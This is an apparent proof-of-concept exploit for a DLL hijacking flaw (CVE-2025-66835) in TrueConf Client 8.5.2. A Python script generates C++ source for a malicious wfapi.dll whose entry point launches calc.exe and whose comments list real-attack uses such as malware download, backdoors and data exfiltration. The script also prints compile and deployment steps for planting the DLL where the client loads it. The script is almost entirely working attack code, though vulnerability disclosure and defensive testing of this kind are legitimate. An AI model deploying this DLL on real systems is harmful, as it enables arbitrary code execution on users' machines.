TrueConf Client 8.5.2 is vulnerable to DLL hijacking via crafted wfapi.dll allowing local attackers to execute arbitrary code within the user's context.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2025-66835 DLL Hijacking PoC for TrueConf Client 8.5.2
# Target DLL: wfapi.dll
# This PoC generates a malicious DLL that will be loaded by TrueConf Client
import ctypes
import struct
import os
def create_malicious_dll(output_path='wfapi.dll'):
"""
Generate a malicious DLL for DLL hijacking demonstration.
This DLL creates a log file when loaded by the vulnerable application.
"""
# DLL export functions - minimal implementation
dll_template = '''
// wfapi.dll - Malicious DLL for CVE-2025-66835
// Target: TrueConf Client 8.5.2
#include <windows.h>
#include <fstream>
#include <string>
void WriteLog(const char* message) {
std::ofstream logFile("c:\\\\temp\\\\cve-2025-66835.log", std::ios::app);
if (logFile.is_open()) {
logFile << message << std::endl;
logFile.close();
}
}
// DLL entry point
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
WriteLog("[CVE-2025-66835] Malicious DLL loaded by TrueConf Client");
WriteLog("[CVE-2025-66835] Arbitrary code execution successful");
// Example: Execute calc.exe as demonstration
system("calc.exe");
// In real attack, this could be:
// - Download and execute malware
// - Create backdoor
// - Exfiltrate sensitive data
// - Establish C2 connection
}
return TRUE;
}
// Exported function (required by TrueConf Client)
extern "C" __declspec(dllexport)
void wfapi_init() {
WriteLog("[CVE-2025-66835] wfapi_init called");
}
'''
# Note: This PoC requires compilation with a C++ compiler
# Example compilation: g++ -shared -o wfapi.dll wfapi.cpp
with open('wfapi_dll_source.cpp', 'w') as f:
f.write(dll_template)
print(f"[+] DLL source code written to wfapi_dll_source.cpp")
print(f"[+] Compile with: g++ -shared -o wfapi.dll wfapi_dll_source.cpp -static")
print(f"[+] Place the compiled wfapi.dll in TrueConf Client directory")
print(f"[+] When TrueConf Client starts, the malicious DLL will be loaded")
def deploy_exploit():
"""
Simulate deployment steps for the exploit
"""
steps = [
"1. Compile the malicious wfapi.dll using MinGW or Visual Studio",
"2. Copy wfapi.dll to TrueConf Client installation directory",
" Typically: C:\\\\Program Files\\\\TrueConf\\\\Client\\\\",
" Or place in a directory in system PATH",
"3. Wait for user to launch TrueConf Client",
"4. Upon application startup, wfapi.dll is loaded",
"5. Malicious code executes with same privileges as TrueConf Client"
]
print("\n[*] Exploit Deployment Steps:")
for step in steps:
print(f" {step}")
if __name__ == '__main__':
print("="*60)
print("CVE-2025-66835 DLL Hijacking PoC Generator")
print("Target: TrueConf Client 8.5.2")
print("="*60)
create_malicious_dll()
deploy_exploit()
print("\n[!] Disclaimer: This PoC is for educational and authorized testing only")